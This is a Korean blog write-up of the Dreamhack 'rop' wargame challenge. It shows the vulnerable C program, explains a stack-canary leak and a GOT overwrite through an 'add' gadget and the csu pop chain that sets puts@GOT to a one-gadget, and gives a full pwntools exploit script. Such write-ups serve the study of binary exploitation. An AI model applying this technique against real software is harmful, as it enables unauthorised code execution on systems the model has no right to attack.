Wargame

[Dreamhack] rop

_daeseong_ 2025. 2. 3. 21:33

분석

[소스 코드]

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}

소스 보면 사실 별거 없다.

2번 BOF 주는데 첫 번째는 카나리릭.

두 번째는 ROP 하면 된다.

 

익스플로잇

root@DAE:.../ropp# rp-lin -f rop -r 2 | grep add
0x4006d8: add  [rbp-0x3D], ebx ; nop  [rax+rax+0x00] ; rep ret ; (1 found)

대부분에 바이너리에는 위 가젯이 존재한다.

csu 함수가 있으면 위 가젯을 통해서 확정으로 AAW가 가능하다.

.text:000000000040084A                 pop     rbx
.text:000000000040084B                 pop     rbp
.text:000000000040084C                 pop     r12
.text:000000000040084E                 pop     r13
.text:0000000000400850                 pop     r14
.text:0000000000400852                 pop     r15
.text:0000000000400854                 retn

세팅하고 add 가젯을 호출하면 puts_got가 원가젯으로 바뀌게 된다.

puts plt를 호출하면 원가젯이 호출된다.

from pwn import *

#p = process("rop")
p = remote("localhost",7182)
e = ELF("rop")
libc = ELF("libc.so.6")

# 0x4006d8: add  [rbp-0x3D], ebx ; nop  [rax+rax+0x00] ; rep ret ; (1 found)
gadget = 0x4006D8

# .text:000000000040084A                 pop     rbx
# .text:000000000040084B                 pop     rbp
# .text:000000000040084C                 pop     r12
# .text:000000000040084E                 pop     r13
# .text:0000000000400850                 pop     r14
# .text:0000000000400852                 pop     r15
csu_pop = 0x40084A
og = 0xebd52

payload = b"B"*(0x38+1)

p.sendafter(b"Buf: ", payload)
p.recvuntil(payload)
canary = u64(p.recvline()[:-2].rjust(8, b"\x00"))
success(f"canary : {hex(canary)}")

payload = b"A"*0x38 + p64(canary) + p64(0)
payload += p64(csu_pop)
payload += flat(
    p64(og-libc.sym['puts']),
    p64(e.got['puts']+0x3D),
    p64(0)*4,
)
payload += p64(gadget)
payload += p64(e.plt['puts'])

p.sendafter(b"Buf: ", payload)

p.interactive()